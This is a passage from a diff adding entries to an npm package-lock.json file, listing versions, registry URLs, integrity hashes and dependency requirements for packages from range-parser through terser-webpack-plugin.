"sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + } + } + }, + "serialize-javascript": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "requires": { + "randombytes": "^2.1.0" + } + }, + "serve-handler": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/serve-handler/-/serve-handler-6.1.5.tgz", + "integrity": "sha512-ijPFle6Hwe8zfmBxJdE+5fta53fdIY0lHISJvuikXB3VYFafRjMRpOffSPvCYsbKyBA7pvy9oYr/BT1O3EArlg==", + "requires": { + "bytes": "3.0.0", + "content-disposition": "0.5.2", + "fast-url-parser": "1.1.3", + "mime-types": "2.1.18", + "minimatch": "3.1.2", + "path-is-inside": "1.0.2", + "path-to-regexp": "2.2.1", + "range-parser": "1.2.0" + }, + "dependencies": { + "content-disposition": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", + "integrity": "sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA==" + }, + "path-to-regexp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.2.1.tgz", + "integrity": "sha512-gu9bD6Ta5bwGrrU8muHzVOBFFREpp2iRkVfhBJahwJ6p6Xw20SjT0MxLnwkjOibQmGSYhiUnf2FLe7k+jcFmGQ==" + } + } + }, + "serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "requires": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==" + }, + "http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==" + } + } + }, + "serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + } + }, + "setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==" + }, + "setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "requires": { + "kind-of": "^6.0.2" + } + }, + "shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==" + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" + }, + "shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==" + }, + "shelljs": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz", + "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", + "requires": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + } + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "sirv": { + "version": "1.0.19", + "resolved": "https://registry.npmjs.org/sirv/-/sirv-1.0.19.tgz", + "integrity": "sha512-JuLThK3TnZG1TAKDwNIqNq6QA2afLOCcm+iE8D1Kj3GA40pSPsxQjjJl0J8X3tsR7T+CP1GavpzLwYkgVLWrZQ==", + "requires": { + "@polka/url": "^1.0.0-next.20", + "mrmime": "^1.0.0", + "totalist": "^1.0.0" + } + }, + "sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==" + }, + "sitemap": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/sitemap/-/sitemap-7.1.1.tgz", + "integrity": "sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==", + "requires": { + "@types/node": "^17.0.5", + "@types/sax": "^1.2.1", + "arg": "^5.0.0", + "sax": "^1.2.4" + }, + "dependencies": { + "@types/node": { + "version": "17.0.45", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.45.tgz", + "integrity": "sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==" + } + } + }, + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + }, + "sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "requires": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "sort-css-media-queries": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/sort-css-media-queries/-/sort-css-media-queries-2.1.0.tgz", + "integrity": "sha512-IeWvo8NkNiY2vVYdPa27MCQiR0MN0M80johAYFVxWWXQ44KU84WNxjslwBHmc/7ZL2ccwkM7/e6S5aiKZXm7jA==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==" + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==" + }, + "space-separated-tokens": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz", + "integrity": "sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA==" + }, + "spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "requires": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + } + }, + "spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "requires": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==" + }, + "state-toggle": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz", + "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==" + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" + }, + "std-env": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.4.2.tgz", + "integrity": "sha512-Cw6eJDX9AxEEL0g5pYj8Zx9KXtDf60rxwS2ze0HBanS0aKhj1sBlzcsmg+R0qYy8byFa854/yR2X5ZmBSClVmg==" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "requires": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==" + }, + "strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, + "string.prototype.matchall": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz", + "integrity": "sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.3", + "side-channel": "^1.0.4" + } + }, + "string.prototype.trim": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz", + "integrity": "sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "string.prototype.trimend": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz", + "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "string.prototype.trimstart": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz", + "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "requires": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-bom-string": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", + "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==" + }, + "strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==" + }, + "strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==" + }, + "style-to-object": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.3.0.tgz", + "integrity": "sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==", + "requires": { + "inline-style-parser": "0.1.1" + } + }, + "stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "requires": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, + "svg-parser": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==" + }, + "svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "requires": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "dependencies": { + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==" + }, + "css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + } + }, + "dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + } + } + }, + "tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==" + }, + "terser": { + "version": "5.19.2", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.2.tgz", + "integrity": "sha512-qC5+dmecKJA4cpYxRa5aVkKehYsQKc+AHeKl0Oe62aYjBL8ZA33tTljktDHJSaxxMnbI5ZYw+o/S2DxxLu8OfA==", + "requires": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "dependencies": { + "acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==" + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + } + } + }, + "terser-webpack-plugin": { + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz", + "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==", + "requires": { + "@jridgewell/trace-mapping": "^0.3.17", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.16.8" + }, + "dependencies": { + "jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "requires": { + "has-flag": "^4.0.0" + } + } + 